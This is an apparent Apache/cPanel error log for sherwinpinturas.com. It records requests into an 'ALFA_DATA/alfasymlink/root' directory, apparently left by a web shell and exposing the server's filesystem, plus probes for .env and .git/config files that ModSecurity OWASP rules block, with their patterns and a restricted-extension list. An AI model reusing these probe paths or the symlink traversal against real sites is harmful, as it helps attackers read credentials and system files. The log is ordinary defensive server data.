[Sat Oct 24 22:33:30.772258 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.203:29082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/trace
[Sat Oct 24 22:33:38.253535 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 52.71.216.196:6320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:33:54.137125 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.23.104.107:15803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:34:06.200484 2026] [security2:error] [pid 2692979:tid 2692979] [client 3.220.70.171:14966] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/node0/cpu1/driver/cpu0/firmware_node/thermal_cooling/"] [unique_id "at1qnvavbqLdB7btCU--0QAAABc"]
[Sat Oct 24 22:34:06.200532 2026] [security2:error] [pid 2692979:tid 2692979] [client 3.220.70.171:14966] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/node0/cpu1/driver/cpu0/firmware_node/thermal_cooling/"] [unique_id "at1qnvavbqLdB7btCU--0QAAABc"]
[Sat Oct 24 22:34:10.327625 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 54.221.203.24:31243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/vmd/module/uevent
[Sat Oct 24 22:34:26.241721 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 50.16.72.185:10222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:34:42.158911 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 35.169.119.108:23584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:34:54.178563 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.44.148.203:8694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:34:54.271085 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.13:18132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/validate
[Sat Oct 24 22:34:58.297396 2026] [ssl:error] [pid 2747849:tid 2747849] (70014)End of file found: [client 44.195.145.102:2847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:35:21.116173 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 185.191.171.16:55014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:35:22.146421 2026] [ssl:error] [pid 2747848:tid 2747848] (70014)End of file found: [client 54.152.163.42:33631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:35:26.132016 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.206.93.215:21301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:35:26.132490 2026] [security2:error] [pid 2692979:tid 2692979] [client 44.206.93.215:21301] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/12/max_bus_speed"] [unique_id "at1q7vavbqLdB7btCU--1QAAABc"]
[Sat Oct 24 22:35:26.132515 2026] [security2:error] [pid 2692979:tid 2692979] [client 44.206.93.215:21301] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/12/max_bus_speed"] [unique_id "at1q7vavbqLdB7btCU--1QAAABc"]
[Sat Oct 24 22:35:44.677320 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 85.208.96.205:13872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/objects_partial
[Sat Oct 24 22:35:54.132578 2026] [ssl:error] [pid 2747848:tid 2747848] (70014)End of file found: [client 52.202.52.82:32515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:36:06.172001 2026] [ssl:error] [pid 2747850:tid 2747850] (70014)End of file found: [client 44.205.192.249:31732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:36:14.994098 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.2:41230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/objects
[Sat Oct 24 22:36:18.241587 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 54.225.181.161:26168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:36:22.699609 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.13:53548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/nr_reclaim_tried_regions
[Sat Oct 24 22:37:02.150309 2026] [security2:error] [pid 2707149:tid 2707149] [client 44.197.76.210:1684] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/subsystem/slots/29/"] [unique_id "at1rTjr66i8lbh-yPykFAwAAAAA"]
[Sat Oct 24 22:37:02.150359 2026] [security2:error] [pid 2707149:tid 2707149] [client 44.197.76.210:1684] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/subsystem/slots/29/"] [unique_id "at1rTjr66i8lbh-yPykFAwAAAAA"]
[Sat Oct 24 22:37:03.946779 2026] [core:error] [pid 2747849:tid 2747849] (13)Permission denied: [client 185.191.171.17:34840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/trace
[Sat Oct 24 22:37:14.126797 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 52.0.218.219:17835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/io_type
[Sat Oct 24 22:37:18.156837 2026] [ssl:error] [pid 2747848:tid 2747848] (70014)End of file found: [client 54.221.203.24:7113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:37:22.129660 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.147.80.137:21460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:37:26.206068 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.235.215.92:43271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:37:34.164521 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 44.208.193.63:51118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/type
[Sat Oct 24 22:37:50.156830 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.24.167.60:52609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:06.231372 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.45.29.57:13653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:14.143252 2026] [ssl:error] [pid 2747849:tid 2747849] (70014)End of file found: [client 52.3.102.51:42142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:15.704342 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 185.218.86.21:38256] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 22:38:27.470424 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00171: Graceful restart requested, doing restart
AH00112: Warning: DocumentRoot [/home/sjerwinpinturas/public_html/sherwinpinturas] does not exist
[Sat Oct 24 22:38:44.065955 2026] [:notice] [pid 799574:tid 799574] mod_ruid2/0.9.8 enabled
[Sat Oct 24 22:38:44.082978 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00163: Apache/2.4.69 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Sat Oct 24 22:38:44.082996 2026] [core:notice] [pid 799574:tid 799574] AH00094: Command line: '/usr/sbin/httpd'
[Sat Oct 24 22:38:44.153243 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 18.215.77.19:51736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:44.209163 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 18.206.47.187:19732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:46.166556 2026] [core:error] [pid 2748402:tid 2748402] (13)Permission denied: [client 18.232.36.1:39348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory17/subsystem/drivers_probe
[Sat Oct 24 22:38:50.135554 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 34.195.60.66:44016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:54.209855 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 18.210.58.238:26673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:38:58.143229 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.204.89.56:51895] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:02.257141 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.198.33.233:27456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:02.430760 2026] [security2:error] [pid 2748403:tid 2748403] [client 217.9.244.86:41390] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1rxuZPhkn9zBbP2ga6hwAAACg"]
[Sat Oct 24 22:39:02.431001 2026] [security2:error] [pid 2748403:tid 2748403] [client 217.9.244.86:41390] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1rxuZPhkn9zBbP2ga6hwAAACg"]
[Sat Oct 24 22:39:02.431358 2026] [security2:error] [pid 2748403:tid 2748403] [client 217.9.244.86:41390] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1rxuZPhkn9zBbP2ga6hwAAACg"]
[Sat Oct 24 22:39:02.917233 2026] [security2:error] [pid 2748404:tid 2748404] [client 217.9.244.86:41398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1rxiaQM5FksUWf32CMRgAAACk"]
[Sat Oct 24 22:39:02.917525 2026] [security2:error] [pid 2748404:tid 2748404] [client 217.9.244.86:41398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1rxiaQM5FksUWf32CMRgAAACk"]
[Sat Oct 24 22:39:02.917927 2026] [security2:error] [pid 2748404:tid 2748404] [client 217.9.244.86:41398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1rxiaQM5FksUWf32CMRgAAACk"]
[Sat Oct 24 22:39:06.339377 2026] [ssl:error] [pid 2748402:tid 2748402] (70014)End of file found: [client 34.196.237.236:2985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:11.437135 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 185.191.171.13:24822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:18.145917 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 100.27.153.9:41307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:19.470554 2026] [core:error] [pid 2748402:tid 2748402] (13)Permission denied: [client 185.191.171.4:59284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/objects
[Sat Oct 24 22:39:22.205954 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.200.93.170:60754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:26.146807 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.235.158.162:3907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:30.122509 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 98.84.60.17:11332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:34.150811 2026] [ssl:error] [pid 2748402:tid 2748402] (70014)End of file found: [client 34.194.233.48:57264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:42.133301 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 34.225.24.180:24898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:49.084899 2026] [ssl:error] [pid 2748402:tid 2748402] (70014)End of file found: [client 185.191.171.16:62310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:39:58.240239 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 18.208.11.93:51692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:02.250420 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 23.23.212.212:56137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:06.151458 2026] [ssl:error] [pid 2748402:tid 2748402] (70014)End of file found: [client 52.70.209.13:16064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:10.141084 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.212.205.90:58523] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:22.128859 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.212.205.90:19991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:23.155962 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 85.208.96.211:20860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:34.121947 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.229.164.203:48550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:37.035792 2026] [security2:error] [pid 2749138:tid 2749138] [client 104.164.173.97:33540] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1sJacu9k8aHz4uSmmo3gAAAAU"]
[Sat Oct 24 22:40:37.036215 2026] [security2:error] [pid 2749138:tid 2749138] [client 104.164.173.97:33540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1sJacu9k8aHz4uSmmo3gAAAAU"]
[Sat Oct 24 22:40:37.036526 2026] [security2:error] [pid 2749138:tid 2749138] [client 104.164.173.97:33540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1sJacu9k8aHz4uSmmo3gAAAAU"]
[Sat Oct 24 22:40:44.118566 2026] [authz_core:error] [pid 2749120:tid 2749120] [client 104.164.173.97:3884] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sat Oct 24 22:40:48.370575 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.226.34.98:20722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:40:58.128393 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 50.19.221.48:49025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:41:06.131856 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 34.233.219.155:20145] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/module/sections/__jump_table
[Sat Oct 24 22:41:06.785950 2026] [security2:error] [pid 2748405:tid 2748405] [client 35.186.165.13:14546] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQlyEldkI1XsDE__62AAAAAA"]
[Sat Oct 24 22:41:06.786230 2026] [security2:error] [pid 2748405:tid 2748405] [client 35.186.165.13:14546] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQlyEldkI1XsDE__62AAAAAA"]
[Sat Oct 24 22:41:06.786507 2026] [security2:error] [pid 2748405:tid 2748405] [client 35.186.165.13:14546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQlyEldkI1XsDE__62AAAAAA"]
[Sat Oct 24 22:41:06.786784 2026] [security2:error] [pid 2748405:tid 2748405] [client 35.186.165.13:14546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQlyEldkI1XsDE__62AAAAAA"]
[Sat Oct 24 22:41:06.828088 2026] [security2:error] [pid 2748410:tid 2748410] [client 35.186.165.13:14560] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQu7kCJBKGQAqJL0XjgAAAAE"]
[Sat Oct 24 22:41:06.828394 2026] [security2:error] [pid 2748410:tid 2748410] [client 35.186.165.13:14560] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQu7kCJBKGQAqJL0XjgAAAAE"]
[Sat Oct 24 22:41:06.828742 2026] [security2:error] [pid 2748410:tid 2748410] [client 35.186.165.13:14560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQu7kCJBKGQAqJL0XjgAAAAE"]
[Sat Oct 24 22:41:06.829023 2026] [security2:error] [pid 2748410:tid 2748410] [client 35.186.165.13:14560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1sQu7kCJBKGQAqJL0XjgAAAAE"]
[Sat Oct 24 22:41:19.673081 2026] [core:error] [pid 2748402:tid 2748402] (13)Permission denied: [client 85.208.96.211:47654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/slab_size
[Sat Oct 24 22:41:46.143723 2026] [ssl:error] [pid 2748403:tid 2748403] (70014)End of file found: [client 44.223.115.10:56236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:41:54.375817 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 185.191.171.2:57934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/reclaim_account
[Sat Oct 24 22:42:02.158049 2026] [security2:error] [pid 2749138:tid 2749138] [client 52.71.216.196:55313] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/"] [unique_id "at1seqcu9k8aHz4uSmmo6QAAAAU"]
